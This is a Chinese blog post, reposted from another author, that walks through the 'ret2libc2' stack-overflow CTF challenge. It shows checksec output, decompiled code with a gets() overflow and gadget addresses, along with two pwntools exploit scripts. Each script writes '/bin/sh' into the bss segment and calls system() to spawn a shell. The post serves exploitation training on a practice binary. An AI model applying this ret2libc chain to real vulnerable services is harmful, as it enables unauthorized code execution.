栈溢出入门0x06 ret2libc2

kenwblack

已于 2024-10-03 19:22:23 修改

阅读量164

点赞数 1

CC 4.0 BY-SA版权

分类专栏： pwn 文章标签： linux

于 2024-10-03 19:20:24 首次发布

原文链接：https://blog.csdn.net/ATFWUS/article/details/104565483

pwn 专栏收录该内容

12 篇文章

订阅专栏

前言：

本博客非原创博客，内容大部分都来自参考文献链接。

ret2libc1中system函数是动态库里的函数，且已经在plt表中了；并且也有“/bin/sh”。这太过简单了，所以增加点难度——如果没有“/bin/sh”怎么办？还是得自己读入一个。

题目：ret2libc2

链接：https://pan.baidu.com/s/1Lncq6vrUNEJ7vLKvTQ_gsA
提取码：yywk

分析:

checksec：

        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x8048000)

IDA:

int __cdecl main(int argc, const char **argv, const char **envp)
    {
      char s; // [esp+1Ch] [ebp-64h]

      setvbuf(stdout, 0, 2, 0);
      setvbuf(_bss_start, 0, 1, 0);
      puts("Something surprise here, but I don't think it will work.");
      printf("What do you think ?");
      gets(&s);
      return 0;
    }

从IDA里查找可以发现system函数但是没有“/bin/sh”,所以需要自己读一个，进而需要找个缓冲区。

找到system的地址：

图1

sytem地址：0x08048490

没有找到bin/sh，所有我们可以自己制造一个。
先再bss段找一个变量：

图2

buf2的地址为：0x0804A080

我们需要调用gets函数，读取一个bin/sh放在buf2，然后找到gets函数，去plt表看：

图3

gets地址为：0x08048460。

得到偏移量:

图4

exp：

from pwn import*
r=process('./ret2libc2')
sys_adr=0x08048490
gets_adr=0x08048460
buf2_adr=0x0804A080

payload=flat([112*'A',gets_adr,sys_adr,buf2_adr,buf2_adr])

r.sendline(payload)
r.sendline('/bin/sh')
r.interactive()

需要再寻找一个pop（作用后面说）：

    ROPgadget --binary ret2libc2 --only 'pop|ret'| grep 'ebx'
    0x0804872c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
    0x0804843d : pop ebx ; ret
pop ebx地址为：0x0804843d

##!/usr/bin/env python
from pwn import*

r=process('./ret2libc2')

sys_adr=0x08048490
gets_adr=0x08048460
buf2_adr=0x0804A080
pop_ebx=0x0804843D

payload=flat([112*'A',gets_adr,pop_ebx,buf2_adr,sys_adr,'AAAA',buf2_adr])
#payload=flat([112*'A',gets_adr,sys_adr,buf2_adr,buf2_adr])

r.sendline(payload)
r.sendline('/bin/sh')
r.interactive()

pop ebx在此处的作用就是将gets函数的参数给pop掉。程序运行时是这样的：程序溢出后先运行到gets函数，然后gets函数返回后正好是pop ebx，这时候就会把buf2的地址pop到ebx中，然后继续运行就到了system函数的位置。

总结：

由于没有/bin/sh字符串，所有我们需要自己制造一个出来，利用存在的gts函数，读取一个/bin/sh到bss段的buf2处，再在后面的调用中把buf2作为参数。
第一种方法，栈分步应该是这样的，从上到下（低地址到高地址）：
    gets地址
    system地址（也是gets的返回地址）
    buf2（是gets的参数）
    buf2（是system的参数）
第二种方法：
    gets地址
    pop ebx ；ret地址
    buf2（gets的参数）
    system地址
    system的返回地址（'AAAA'）
    buf2（system的参数）
第一种方法很好理解。
第二种方法就是在调用gets函数后，把参数buf2给pop掉，这样返回地址就变成了system，就会返回到system。